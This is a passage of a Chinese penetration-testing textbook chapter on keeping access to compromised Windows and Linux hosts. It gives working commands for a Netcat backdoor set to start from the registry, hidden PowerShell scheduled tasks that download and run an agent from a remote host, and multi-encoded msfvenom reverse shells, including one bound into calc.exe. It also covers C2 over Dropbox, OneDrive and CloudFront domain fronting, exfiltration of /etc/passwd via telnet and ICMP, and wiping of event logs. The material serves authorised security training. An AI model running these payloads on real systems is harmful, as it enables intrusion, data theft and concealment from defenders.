  • 攻击者可能需要多次回到同一个目标,原因多种多样。

  • 目标的实际价值在被入侵时并不总是能立刻确定。

用于保持交互式持久化的工具通常被称为经典术语,如后门根工具。然而,自动化恶意软件和人工攻击的长期持久化趋势已经模糊了传统标签的意义,因此,我们将把旨在长时间驻留在受损系统上的恶意软件称为持久化代理

这些持久化代理为攻击者和渗透测试人员执行多种功能,包括:

  • 允许上传额外的工具来支持新的攻击,尤其是针对同一网络上其他系统的攻击。

  • 促进从受损系统和网络中提取数据。

  • 允许攻击者重新连接到受损系统,通常通过加密通道以避免被发现。持久化代理已知能在系统中驻留超过一年。

  • 采用反取证技术避免被检测,包括隐藏在目标的文件系统或系统内存中、使用强身份验证以及使用加密。

使用持久化代理

传统上,攻击者会在被攻陷的系统上放置一个后门。如果前门提供了合法用户的授权访问,后门应用程序则允许攻击者返回到被利用的系统并访问服务和数据。

不幸的是,经典的后门提供的交互性有限,并且并未设计为在被攻陷的系统上保持长时间的持久性。攻击者社区认为这是一个显著的缺点,因为一旦后门被发现并移除,就需要额外的工作来重复攻陷步骤并再次利用该系统,而这使得系统管理员提前防御网络和资源变得更加困难。

现在,攻击者将重点放在正确使用并且更难检测的持久代理上。我们将首先回顾的工具是久经考验的 Netcat。

将 Netcat 用作持久代理

Netcat 是一个支持通过原始 TCP 和 UDP 包从网络连接中读取和写入数据的应用程序。与由 Telnet 或 FTP 等服务组织的包不同,Netcat 的包不附带服务特定的头部或其他通道信息。这简化了通信并提供了几乎通用的通信通道。

Netcat 的最后一个稳定版本由 Hobbit 于 1996 年发布,并且至今仍然保持其高度的实用性;事实上,它常被称为TCP/IP 瑞士军刀。Netcat 可以执行许多功能,包括以下内容:

  • 端口扫描

  • 横幅抓取以识别服务

  • 端口重定向和代理

  • 文件传输和聊天功能,包括数据取证和远程备份支持

  • 在被攻陷的系统上创建后门或交互式持久代理

在这一部分,我们将重点介绍如何使用 Netcat 在被攻击的系统上创建一个持久化的 shell。尽管以下示例使用 Windows 作为目标平台,但在基于 Unix 的平台上使用时,它的功能是相同的。还应该注意的是,大多数旧版 Unix 平台将 Netcat 作为操作系统的一部分。

图 13.1所示的示例中,我们将保留可执行文件的名称 nc.exe;然而,在使用之前通常会将其重命名以减少被检测的风险。即使重命名,它通常也会被杀毒软件识别;许多攻击者会修改或删除 Netcat 源代码中不需要的部分,并在使用前重新编译。这样的修改可以改变杀毒软件用来识别 Netcat 应用程序的特定签名,使其对杀毒软件来说不可见:

  1. Netcat 存储在 Kali 的 /usr/share/windows-binaries 仓库中。要将其上传到被攻陷的系统,可以在 Meterpreter 中输入以下命令:

    meterpreter> upload /usr/share/windows-binaries/nc.exe C:\WINDOWS\system32 
    

    执行前述命令的过程如图 13.1所示:

    图 13.1:将 Netcat 上传到目标

    你不必专门将其放置在system32文件夹中;然而,由于该文件夹中包含大量文件和多种类型文件,这是在被攻陷系统中隐藏文件的最佳位置。

    在对一个客户进行渗透测试时,我们发现一台服务器上存在六个独立的 Netcat 实例。两名系统管理员分别安装了 Netcat 两次以支持网络管理;另外四个实例是外部攻击者安装的,在渗透测试之前未被发现。因此,务必检查目标系统中是否已经安装了 Netcat!

    如果没有 Meterpreter 连接,可以使用简单文件传输协议TFTP)传输文件。

  2. 接下来,配置注册表以便在系统启动时启动 Netcat,并确保它监听8888端口(或任何其他未被占用的端口),使用以下命令:

    meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 8888 -e cmd.exe' 
    
  3. 使用以下queryval命令确认注册表中的更改是否成功实施:

    meterpreter> reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 
    
  4. 使用netsh命令,在本地防火墙上打开端口,确保被攻陷的系统能够接受来自 Netcat 的远程连接。了解目标的操作系统至关重要。netsh advfirewall firewall命令行上下文适用于 Windows 10、Windows Server 2008 及之后版本;netsh firewall命令适用于早期版本操作系统。

  5. 要将端口添加到本地 Windows 防火墙,请在 Meterpreter 提示符下输入shell命令,然后使用适当的命令输入rule。命名rule时,可以使用类似svchostpassthrough的名称,表示此rule对系统的正常运行非常重要。

    示例命令如下所示:

    C:\Windows\system32>netsh advfirewall firewall add rule name="svchostpassthrough" dir=in action=allow protocol=TCP localport=8888 
    
  6. 使用以下命令确认更改是否成功实施:

    C:\windows\system32>netsh advfirewall firewall show rule name="svchostpassthrough" 
    

    执行前述命令的过程如图 13.2所示:

    图 13.2:添加防火墙规则以允许自定义端口

  7. 确认端口规则后,确保重启选项正常工作,如下所示:

    • 从 Meterpreter 提示符输入以下命令:

      meterpreter> reboot 
      
    • 从交互式 Windows shell 输入以下命令:

      C:\windows\system32> shutdown /r /t 15 
      
  8. 要远程访问被攻陷的系统,请在终端输入nc,指定连接的详细程度(-v报告基本信息,-vv报告更多信息),然后输入目标的 IP 地址和端口号,如图 13.3所示:

    图 13.3:通过 Netcat 成功连接到持久后门

    不幸的是,使用 Netcat 存在一些局限性。传输的数据没有认证或加密,而且几乎所有的防病毒软件都会检测到它。

  9. 可以使用cryptcat解决缺乏加密的问题,它是 Netcat 的一个变体,使用 Twofish 加密来保护在受害主机与攻击者之间传输的数据。Twofish 加密是由 Bruce Schneider 开发的高级对称块密码,它为加密数据提供了合理强大的保护。

    要使用cryptcat,请确保有一个监听器已准备好,并且已使用以下命令配置了一个强密码:

    kali@kali:~# cryptcat -k password -l -p 444 
    
  10. 接下来,根据目标操作系统上传cryptcat(如果是 Windows,则上传可在github.com/pprugger/Cryptcat-1.3.0-Win-10-Release获取的 Windows 二进制文件)到被攻陷系统,并使用以下命令配置它连接到监听器的 IP 地址:

    cryptcat -k password <listener IP address> 444 
    

不幸的是,Netcat 及其变体仍然能被大多数防病毒应用程序检测到。然而,如果目标是 Linux 系统,该工具会预先安装,渗透测试人员可以利用它们打开端口并运行后门。通过使用十六进制编辑器修改 Netcat 的源代码,可以使 Netcat 变得不可检测。

这将有助于避免触发防病毒程序的签名匹配动作,但这可能是一个漫长的试错过程。更有效的方法是利用 Empire 的持久性机制。

使用 schtasks 配置持久任务

Windows 任务计划程序 (schtasks) 是在 Windows XP 和 2003 中作为at.exe的替代品引入的。然而,at.exe在最新版本的 Windows 中已被废弃。在本节中,我们将使用计划任务来维持对被攻陷系统的持久访问。

攻击者可以在被攻陷的系统上创建一个计划任务,从攻击者的机器运行 Empire 代理有效载荷,并提供后门访问。schtasks可以直接从命令提示符中安排,如图 13.4所示:

图 13.4:在目标上创建计划任务以保持持久性

以下是攻击者可以利用的典型计划任务场景,用于保持对系统的持久访问:

  • 要在用户登录过程中启动 Empire PowerShell 代理,请从命令行运行以下命令:

    schtasks /create /tn WindowsUpdate /tr " C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.10.10.12:90/agent.ps1'))'" /sc onlogon /ru System 
    
  • 同样,为了在系统启动时启动代理,运行以下命令:

    schtasks /create /tn WindowsUpdate /tr  "'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.12:90/agent.ps1'))''" /sc onstart 
    
  • 以下命令将在系统空闲时设置启动代理:

    schtasks /create /tn WindowsUpdate /tr  "'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.12:90/agent.ps1'))''" /sc onidle /i 10 
    

攻击者将确保监听器始终运行并保持连接开放。为了使其在网络中合法化,服务器需要配置一个有效的 SSL 证书并运行 HTTPS,以避免触发内部安全功能(如防火墙、IPS 或代理)的警报。

使用 PowerShell Empire 工具模块persistence/elevated/schtasks,攻击者可以通过单行命令执行相同的任务,如图 13.5所示:

图 13.5:在目标上创建计划任务以保持持久性

现在我们已经学会了如何利用计划任务来保持对目标的持久性,接下来我们将探讨 Metasploit 的后期利用模块。

使用 Metasploit 框架维持持久性

Metasploit 的 Meterpreter 包含多个支持在被攻破系统上保持持久性的脚本。我们将研究用于植入后门的后期利用模块。

使用后期利用持久化模块

在系统被利用并且migrate命令将初始 Shell 转移到更安全的服务后,攻击者可以从 Meterpreter 提示符下调用windows/manage/persistence_exe脚本。

图 13.6所示的示例中,我们可以选择使用REXENAMEREXEPATH选项,这将在用户登录目标系统时启动持久化。

成功植入后门后,系统启动时将自动运行,执行我们设置的文件,并使用特定的 IP 地址和端口。

图 13.6:使用 Metasploit 的后期利用模块进行持久化植入后门

请注意,我们已经任意选择了一个端口供persistence使用;攻击者必须验证本地防火墙设置,确保该端口已开放,或者使用reg命令打开该端口。与大多数 Metasploit 模块一样,只要端口未被占用,任何端口都可以被选择。

后期利用模块的persistence_exe脚本将在临时目录中放置一个可执行文件。该脚本还将该文件添加到注册表的本地自动运行部分。由于后期利用模块persistence_exe没有认证,任何人都可以利用它访问被攻破的系统,因此在发现或渗透测试完成后,应该尽快将其从系统中移除。要移除该脚本,请确认资源文件的位置以便清理,然后执行以下资源命令:

meterpreter>run multi_console_command -rc /root/.msf4/logs/persistence/<Location>.rc 

使用 Metasploit 创建独立持久性代理

Metasploit 框架可以用来创建一个独立的可执行文件,使其能够在被攻破的系统上持久存在,并允许交互式通信。独立包的优势在于,它可以提前准备和测试,以确保连接性,并进行编码以绕过本地的杀毒软件:

  1. 要制作一个简单的独立代理,可以使用msfvenom。在图 13.7所示的示例中,代理配置为使用reverse_tcp外壳,将连接到攻击者 IP 的本地主机端口443

    msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -e x86/shikata_ga_nai -i 5 -f exe -o attack1.exe 
    

    名为attack.exe的代理将使用一个 Win32 可执行模板:

    图 13.7:创建一个后门利用程序,通过特定端口连接回 Kali Linux

    该文件使用x86/shikata_ga_nai编码器对attack1.exe代理进行五次编码。每次重新编码后,检测变得更加困难。然而,可执行文件的大小也会增加。

    我们可以通过使用-b x64/othermsfvenom中配置编码模式,以避免特定字符。例如,在编码持久性代理时应避免以下字符,因为它们可能导致攻击被发现和失败:

    • \x00:表示 0 字节地址

    • \xa0:表示换行

    • \xad:表示换行符

  2. 要创建多重编码的有效负载,请使用以下命令:

    msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -e x86/shikata_ga_nai -i 8 raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o multiencoded.exe 
    
  3. 你还可以将msfvenom编码到现有的可执行文件中,修改后的可执行文件和持久性代理都将正常工作。要将持久性代理绑定到可执行文件(如计算器calc.exe),首先在 Kali Linux 中复制适当的calc.exe文件。你可以通过 Meterpreter 从现有会话中下载它,运行meterpreter > download c:\\windows\\system32\\calc.exe

  4. 下载文件后,运行以下命令:

    msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -x /root/calc.exe -k -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o calc.exe 
    
  5. 可以将代理放置在目标系统上,并重命名为calc.exe(如果访问被拒绝,可以将文件放在桌面上),然后执行。

不幸的是,几乎所有 Metasploit 编码的可执行文件都可能被客户端防病毒软件或 EDR 软件检测到。这归因于渗透测试人员将加密的有效负载提交到 VirusTotal 等网站(www.virustotal.com)。然而,你可以创建一个可执行文件,然后使用 Veil-Evasion 进行加密,具体描述见第十章利用

使用在线文件存储云服务来维持持久性

允许与云服务共享文件的每个组织可能会使用 Dropbox 或 OneDrive。攻击者可以利用这些文件存储服务在受损系统上维持持久性。

在本节中,我们将重点介绍在受害者系统上使用这些文件存储云服务,并通过使用 Empire PowerShell 工具来维持持久性,以运行 C2,而无需透露攻击者后端 IP 地址。

Dropbox

对于使用 Dropbox 的公司,此监听器可作为高度可靠的 C2 通道。我们的 PowerShell Empire 工具中预加载了dbx后渗透模块,利用 Dropbox 基础设施。代理与 Dropbox 通信,允许其用作 C2 中心。

按照以下步骤设置 Dropbox 分段器:

  1. 创建一个 Dropbox 账户。

  2. 前往 Dropbox 开发者网站的我的应用(www.dropbox.com/developers)页面。

  3. 进入应用控制台,点击创建应用

  4. 选择一个Scoped access New API。

  5. 将需要的访问类型设置为完全访问 Dropbox – 可访问用户 Dropbox 中所有文件和文件夹

  6. 输入应用程序的名称,例如,KaliC2C,点击创建应用,并勾选同意条款和条件。

  7. 应用程序创建后,Dropbox 应将我们带到设置页面。在生成密钥之前,您需要转到权限选项卡,并确保通过选中files.metadata.readfiles.metadata.writefiles.content.writefiles.content.read来设置写入权限。

  8. 现在我们已经准备好生成令牌。如果你在前一步骤的权限选项卡中,点击设置选项卡。在OAuth 2部分和生成的访问令牌标题下,点击生成,你应该看到 Dropbox 正在创建一个新的令牌,如 图 13.8 所示:

    图 13.8:生成 Dropbox 访问令牌

  9. 您现在可以通过运行以下命令在我们的 Empire 工具上使用生成的访问令牌生成有效载荷:

    > listeners
    > uselistener dbx
    > set apitoken <yourapitoken>
    > usestager multi/launcher dropbox
    > execute 
    

    输出应如此显示:

    图 13.9:在 PowerShell Empire 中成功创建 Dropbox 监听器

    如果 API 令牌正确并且一切正常,Dropbox 账户现在应显示名为 Empire 的文件夹,其中包含名为 resultsstagingtaskings 的三个子文件夹,如 图 13.10 所示:

    图 13.10:在 Dropbox 内生成的文件夹

  10. 一旦监听器启动运行,攻击者可以利用多种方法传递有效载荷,例如,通过从现有 Meterpreter 会话中运行,使用社会工程学,或创建一个定期任务以在系统启动时报告。

攻击者可以利用任何免费的文件托管服务来存储有效载荷,并让受害机下载并执行代理程序。成功的代理程序将向 Empire 报告,如 图 13.11 所示:

一台计算机的屏幕截图,自动生成的描述,中等置信度

图 13.11:使用 Dropbox API 成功与我们的监听器进行交互

Microsoft OneDrive

OneDrive 是另一个流行的文件共享服务,类似于 Dropbox。在 Empire 的最新版本中,您应该能够看到一个额外的预构建监听器 onedrive,如 图 13.12 所示:

图 13.12:PowerShell Empire OneDrive 监听器选项

设置 onedrive C2C 如下所示:

  1. 创建一个 Microsoft 开发者账户。攻击者可以利用 Microsoft 提供的带有积分的免费账户登录 Azure 门户 (portal.azure.com/#blade/Microsoft_AAD_RegisteredApps/ApplicationsListBlade)。

  2. 要注册一个新应用程序,点击 New Registration,输入你的名称,并选择 Accounts in any organizational directory (Any Azure AD directory - Multitenant) and personal Microsoft accounts (e.g. Skype, Xbox)。然后,输入 https://login.live.com/oauth20_desktop.srf 作为重定向 URI,这样 PowerShell Empire 就可以使用离线桌面模块进行认证,如图 13.13所示。最后,点击 Register

    图 13.13:在 Azure 中注册 KaliC2C 进行离线认证

  3. 一旦创建了应用程序,攻击者应该能够看到新创建的应用程序 ID,如下图所示:

    图 13.14:在 Azure 门户中生成 Client ID

  4. 现在我们有了 ClientID,接下来需要创建 ClientSecret。在同一页面中的 Manage 部分下,导航到 Certificates & Sections,然后在 Client secrets 下点击 New client secret。这时会弹出另一个窗口,输入任何描述,默认情况下,过期时间为 6 个月,最后点击 Add。这应该会生成我们的 Client Secret ID,如图 13.15所示:

    图 13.15:为 ClientID 创建 Secret ID

  5. 现在,我们准备启动 Empire 并设置我们的监听器。将 ClientID 设置为第 3 步中的应用程序 ID,将 ClientSecret 设置为第 4 步中的 Secret ID 值,并执行监听器,如图 13.16所示:

    图 13.16:使用我们创建的 ClientID 和 SecretValue 配置 PowerShell Empire

  6. 可以在浏览器中打开 URL 以生成认证代码。测试者应登录到应用程序并会提示授权访问 OneDrive 文件。点击 Yes 后,你应该能看到 URL 中生成的代码,如图 13.17所示:

    图 13.17:浏览器中的认证令牌生成

  7. 现在可以使用来自 URL 的代码来设置 Empire 监听器,如下所示:

    图 13.18:设置 AuthCode 并启动 OneDrive 监听器

  8. 就像 Dropbox 一样,现在你应该能够在 OneDrive 中看到一个名为 Empire 的文件夹,里面有三个子文件夹,分别是 resultsstagingtaskings,并且具有正确的客户端 ID 和认证代码,如下图所示:

    图 13.19:启动监听器后在 OneDrive 中创建的文件夹

  9. 现在,你可以通过运行 usestager multi/launcher 来准备有效载荷,并将 listener 设置为 onedrive,然后执行有效载荷。一旦有效载荷在目标上成功执行,它将监听 OneDrive 监听器,如图 13.20所示:

    图 13.20:代理通过 OneDrive API 成功报告回 PowerShell Empire

Covenant

攻击者还可以利用Covenant C2框架进行渗透测试操作,以维护对目标环境的访问。该框架是由 SpecterOps 的 Ryan Cobb 编写的,使用.NET 编写,并利用大多数开源功能和插件来在目标上执行不同的利用。要在 Kali Linux 中安装 Covenant C2 框架,需要执行以下步骤:

  1. 通过运行sudo git clone --recurse-submodules https://github.com/cobbr/Covenant来下载存储库。

  2. 由于这些工具严重依赖于.NET 框架,我们将通过运行sudo wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb将 Microsoft 包下载到我们的 Kali 中。

  3. 下载.deb 文件后,通过运行sudo dpkg -i packages-microsoft-prod.deb来安装该软件包。

  4. Covenant 需要.NET 版本 3.1,因此我们将通过运行sudo apt-get update && sudo apt-get install -y apt-transport-https && sudo apt-get update && sudo apt-get install -y dotnet-sdk-3.1来运行以下依赖项。

  5. 现在我们准备通过将文件夹更改为项目位置来构建应用程序,即cd Covenant/Covenant,并运行sudo dotnet buildsudo dotnet run

  6. 如果未生成任何错误,则攻击者应该能够看到以下屏幕并能够在 localhost 的端口7443上访问 Covenant:

    图 13.21: 在 Kali 中使用 dotnet 启动 Covenant

  7. 应用程序启动后,在浏览器中可以创建用户名和密码以登录。

  8. 类似于 PowerShell Empire,Covenant 为攻击者提供使用侦听器、启动器、模板和任务创建利用有效载荷的选项,其中代理被称为 grunts。下一步是为攻击者创建侦听器,并确保ConnectAddresses反映 Kali Linux 的正确 IP 地址,grunts 可以在其中回调:

    图 13.22: 配置 Covenant 回连地址

  9. 最后,通过导航到启动器并选择其中任何一个选项来生成利用有效载荷;例如,我们选择了 PowerShell 启动器。工具应该呈现给您以下图表和选项。选择正确的侦听器后,您应该能够生成编码和非编码的有效载荷:

    图 13.23: 在 PowerShell 启动器部分设置正确的侦听器并生成有效载荷

  10. 一旦在目标上执行有效载荷,就可以从 Covenant C2 与之进行交互,如图 13.24所示:

    图 13.24: 指示受害者连接 Covenant C2

  11. 现在我们可以通过在主菜单中导航到Grunts并点击Interact来与目标交互,执行可以在目标设备上运行的预加载脚本,如图 13.25所示:

    图 13.25:使用 Covenant 的 Interact 部分与目标交互

  12. 如果有两个或三个测试人员在同一目标上,他们可以通过点击任务标签查看所有执行的任务。

Covenant 允许测试人员在渗透测试过程中利用该工具中的所有后期利用和横向移动模块,捕获核心目标或窃取机密数据库文件。

PoshC2

另一种渗透测试人员也可以利用的 C2 是 PoshC2。它是一个具有代理意识的 C2 框架,非常适合用于后期利用和横向移动。该工具使用 Python3 编写,截至 2021 年 12 月的最新版本为 7.4.0。多年来,该工具经历了显著的改进。

您可以添加自己的模块和工具。默认情况下,PoshC2 安装包含 PowerShell、C#、Python3、C++、DLL 和 Shellcode。注入 PoshC2 的利用负载称为植入物。这些植入物几乎适用于所有操作系统,包括 Windows、*nix 和 OSX。

以下是在 Kali Linux 上成功设置 PoshC2 的步骤:

  1. 通过运行 git clone --recursivegithub.com/nettitude/PoshC2)并执行 cd PoshC2sudo ./Install.sh 来下载该应用程序。

  2. 测试人员可能会收到与 dotnet 相关的错误消息,但这并不会阻止应用程序的运行。

  3. 通过运行 sudo posh-project –n nameoftheproject 设置一个新项目。

  4. 一旦项目设置完成,通过编辑位于 /var/Poshc2/<nameoftheproject>/configure.yml 的配置文件来配置 C2 服务器,并将正确的 PayloadCommsHost 编辑为正确的 IP 地址或域名。您还可以选择输入域名的前置头(我们将在下一节学习如何使用域名前置)。

  5. 最后,通过在终端运行sudo posh-server启动 C2 服务器,您应该能够看到如图 13.26所示的确认信息,显示所有有效负载及其相关位置详情:

    图 13.26:成功启动 PoshC2 服务器

  6. 一旦有效负载在目标上执行,攻击者可以通过在 Kali Linux 终端运行 sudo posh –u <username> 连接到 PoshC2 服务器。他们应该能够看到植入物向服务器报告,如图 13.27所示。与 Metasploit 类似,渗透测试人员现在可以使用植入物的编号与目标交互:

    图 13.27:目标作为植入物报告给 PoshC2 服务器

尽管大多数防病毒/EDR 软件可以检测到有效载荷,攻击者始终可以利用工具如 PyFuscator 对 PowerShell 的有效载荷进行混淆,成功躲避检测,并迅速迁移到合法进程。

域名伪装

域名伪装是一种技术,攻击者或红队用来避免检测到他们的 C2 服务器。这是通过利用他人的域名(或者在 HTTPS 的情况下,使用他人的 SSL 证书)来将流量路由到一个应用程序,从而将攻击者的机器隐藏在高度信任的域名背后。

最受欢迎的服务包括亚马逊的 CloudFront、微软的 Azure 和谷歌的 App Engine。相同的域名伪装技术也可以用于企业 Web 邮件中的 C2 和通过 SMTP 协议进行数据外泄。

请注意,谷歌和亚马逊都在 2018 年 4 月实施了防范域名伪装的策略。在本节中,我们将探讨如何使用亚马逊 CloudFront 和微软 Azure 进行 C2,使用两种不同的方法。

使用亚马逊 CloudFront 进行 C2

为了提高下载速度,亚马逊提供了一个内容分发网络CDN),该网络由全球分布的代理服务器组成,能够缓存媒体和视频等大型内容。亚马逊 CloudFront 是由亚马逊 Web 服务提供的 CDN。创建 CDN 涉及以下步骤:

  1. 首先,在 aws.amazon.com/ 上注册一个 AWS 帐户。

  2. 登录到你的帐户:console.aws.amazon.com/cloudfront/home

  3. 点击开始使用,选择创建分发

  4. 填写每个设置的正确详细信息:

    • 源域名:攻击者控制的域名。

    • 源路径:该值可以设置为根路径/

    • 源路径 ID:任何自定义名称,如 demo 或 C2C。

    • 源 SSL 协议:默认情况下,TLS v1.2TLS v1.1TLS v1.0 都已启用。

    • 源协议策略:有三个选项:HTTPHTTPS匹配查看者。我推荐使用匹配查看者,它根据查看者请求的协议使用HTTPSHTTP

    • 允许的 HTTP 方法:在默认缓存行为设置中选择GETHEADOPTIONSPUTPOSTPATCHDELETE

    • 确保在缓存和源请求设置中选择使用传统缓存设置

    • 确保将Forward Cookies设置为All

    • 确保将查询字符串转发和缓存设置为转发所有,基于所有缓存

    图 13.28:在 AWS 中启用传统缓存设置并选择正确的选项

  5. 现在你已经设置完成,点击创建分发。你应该能看到以下界面,域名显示为<somerandom>.cloudfront.net

    图 13.29:成功创建 CloudFront 分发

    通常需要大约 5 分钟或更少的时间来启动分发。

  6. 一旦在 AWS 上创建了分发,您就可以定制 PoshC2 代理为攻击做准备。在启动 PoshC2 之前,我们需要确保识别一个可以作为我们恶意服务器前端的易受攻击的域名。

  7. 查找可前端的域名可以通过使用各种脚本来实现;在这里,我们将使用在github.com/rvrsh3ll/FindFrontableDomains上找到的脚本,并使用其中一个易受攻击的主机来执行攻击。

  8. 现在我们开始在 PoshC2 中创建一个新的监听器。第一步是通过运行posh-project –n domfront创建一个 PoshC2 项目,然后定位到/var/poshc2/domfront/config.yml并编辑配置文件,将PayLoadCommsHost修改为易受攻击的主机,将DomainFrontHeader修改为您的 AWS 云分发主机名,然后将BindPort设置为80,如图 13.30所示:文本描述自动生成

    图 13.30:配置 PoshC2 在端口 80 上运行,并与易受攻击的主机一起使用域前端头

    攻击者可以选择在端口443上运行 C2。请确保使用诸如 Letsencrypt 之类的服务创建正确的证书,否则 CloudFront CDN 将无法与 C2 服务器建立通信。

  9. 一旦我们的 PoshC2 设置完成,攻击者应该能够看到以下内容:

    图 13.31:使用我们创建的 AWS 云分发启动 PoshC2

    在这个例子中,我们将使用vijayvelu.com主机将域名请求转发到我们的 C2 服务器。在连接到 Amazon Web Services 之前,应用程序将执行 DNS 查找,将域名解析为网络 IP 地址。请求将直接发送到vijayvelu.com主机,并带有我们在 Amazon CloudFront 分发中创建的主机头。

    从 Wireshark 捕获的请求数据包将类似于图 13.32

    图 13.32:DomainFrontHost 与我们的托管服务器之间的 TCP 流通信

  10. 一旦有效载荷在受害者机器上执行,您应该能够看到植入物报告,而受害者网络中不会有攻击者 IP 地址的任何痕迹。所有流量看起来都像是合法的连接到 AWS 以及所展示的域名:

    图 13.33:成功将利用工具植入目标,并实现域前端攻击

攻击者还可以利用 Metasploit。我们将创建一个利用工具,通过msfvenom提供一个 Meterpreter 反向 HTTP shell,使用进行转发的域名以及我们的头注入,如下所示:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https lhost=<VULNERABLEHOST> lport=443 httphostheader=< CloudFront address> -e x86/shikata_ga_nai -i 8 raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o Domainfront.exe 

执行此有效载荷应该会在位于 Amazon CDN 后的 C2 服务器上获取一个反向 Shell。APT29(一个俄罗斯国家级黑客组织)曾积极利用这种技术执行隐蔽攻击:

图 13.34:当在目标系统上使用域前置技术运行漏洞时,反向 Shell 到 Meterpreter

攻击者可能选择利用微软 CDN 服务进行 C2 通信。不幸的是,免费层用户无法使用 CDN 选项,因此用户可能需要选择按需付费选项注册,并创建订阅,然后按照docs.microsoft.com/en-us/azure/cdn/cdn-create-endpoint-how-to上的说明操作。不过,测试人员需要确保 Azure 或 Amazon 背后的域名有有效的 A 记录。对于微软 Azure,你还需要确保 CNAME 指向正确的自定义域名,以确保域名前置功能正常工作。

尽管许多内容提供商容易受到此类攻击,但一些内容提供商,如 Google,似乎已经通过对其云基础设施进行重大改动迅速修复了这一攻击。例如,如果 A 公司的域名使用了亚马逊的域名作为前置,并且额外的主机头指向 B 公司,请求将在 CDN 的第一个节点被丢弃。

类似地,其他提供商正尝试通过要求额外的授权令牌或其他机制来阻止这些前置技术或前置技术。

数据外泄

数字数据从任何环境中未经授权的转移被称为数据外泄(或数据挤出)。一旦在被攻陷的系统中维持持久性,可以利用一系列工具从高度安全的环境中外泄数据。

在本节中,我们将探索攻击者用来将文件从内部网络发送到攻击者控制系统的不同方法。

使用现有的系统服务(Telnet、RDP 和 VNC)

首先,我们将讨论一些简单的技术,用于在对受感染系统的访问时间有限的情况下快速抓取文件。攻击者可以通过运行nc -lvp 2323 > Exfilteredfile来使用 Netcat 打开一个端口,然后从受感染的 Linux 服务器运行cat /etc/passwd | telnet remoteIP 8000

这将向远程主机显示etc/passwd的所有内容。作为示例,我们正在从内部主机提取密码列表到 AWS 上的远程 Kali 机器,如图 13.35所示:

图 13.35:使用 Telnet 从本地 Kali 系统到远程 Kali 系统的数据外泄

另一种重要且相对简单的技术是,攻击者在网络中访问任意系统时,可以从 Meterpreter shell 中运行getgui,这将启用 RDP。一旦 RDP 被启用,攻击者可以配置其 Windows 攻击,将本地驱动器挂载到远程驱动器上,并将所有文件从远程桌面外泄到本地驱动器。

这可以通过进入远程桌面连接,选择显示选项,然后选择本地资源,接着选择本地设备和资源,点击更多,最后选择你想挂载的驱动器来实现,如图 13.36所示:

图 13.36:RDP 设置中挂载驱动器的选项

这将把攻击者本地机器的D://驱动器挂载到 RDP 系统上。可以通过使用 RDP 连接登录远程 IP 来确认这一点。默认情况下,应该会挂载一个额外的驱动器(X:),如图 13.37所示:

图 13.37:成功将攻击者的本地驱动器挂载到远程桌面

其他传统技术包括设置 SMB 服务器并允许被攻陷计算机的匿名访问,或者使用如 TeamViewer、Skype Chrome 插件、Dropbox、Google Drive、OneDrive、WeTransfer 等应用,或者任何其他一键共享服务来进行大文件传输。

使用 ICMP 协议

有多种方法可以利用 ICMP 协议来外泄文件,使用诸如hpingnpingping等工具。在本节中,我们将使用nping工具通过 ICMP 协议执行机密文件的外泄。

在此示例中,我们将使用tcpdumppcap转储文件中提取数据。在终端中运行以下命令以启用监听器:

tcpdump -i eth0 'icmp and src host <KALI IP>' -w importantfile.pcap 

攻击者应能够看到以下内容:

图 13.38 捕获数据包以接收内容

10.10.10.12是我们等待接收数据的目标主机。在发送方,一旦hping3命令发送到客户端(10.10.10.12),你应该会收到消息EOF reached, wait some second than press ctrl+c,如图 13.39所示。这表明文件已经通过 ICMP 外泄到目标服务器:

图 13.39:使用 hping3 工具通过 ICMP 发送文件

使用Ctrl + C关闭tcpdump。下一步是从pcap文件中删除不需要的数据,以便我们通过运行 Wireshark 或tshark仅将特定的十六进制值打印到文本文件中。

以下是用于过滤数据字段并仅从pcap文件中打印十六进制值的tshark命令:

tshark -n -q -r importantfile.pcap -T fields -e data.data | tr -d "\n" | tr -d ":" >> extfilterated_hex.txt 

现在,可以通过运行cat extfilterated_hex.txt | xxd –r –p命令将相同的十六进制文件转换。最终,你应该能够查看文件内容,如图 13.40所示:

图 13.40:从 pcap 中提取十六进制数据并使用 xxd 解码

这些技术正逐渐被其他工具集所取代,例如使用 TeamViewer、Dropbox 和其他云托管服务。

隐藏攻击证据

一旦系统被攻击者利用,攻击者必须掩盖自己的痕迹以避免被检测,或者至少让防御方重建事件变得更加困难。

攻击者可能完全删除 Windows 事件日志(如果它们在受害服务器上被积极保留)。这可以通过命令行界面执行,使用以下命令:

C:\> del %WINDIR%\*.log /a/s/q/f 

该命令将指示删除所有日志(/a),包括子文件夹中的所有文件(/s)。/q 选项禁用所有询问,不再要求 yesno 响应,/f 选项强制删除文件,使恢复更加困难。

为了抹掉特定记录的文件,攻击者必须跟踪所有在受害系统上执行的活动。

这也可以通过 Meterpreter 提示符使用 clearev 来完成。如 图 13.41 所示,这将清除目标系统的应用程序、系统和安全日志(此命令没有选项或参数):

图 13.41:清除 Windows 事件日志

通常,删除系统日志不会触发任何用户警报。事实上,大多数组织配置日志记录时非常草率,以至于缺失的系统日志被视为一种可能发生的情况,而且不会进行彻底调查。

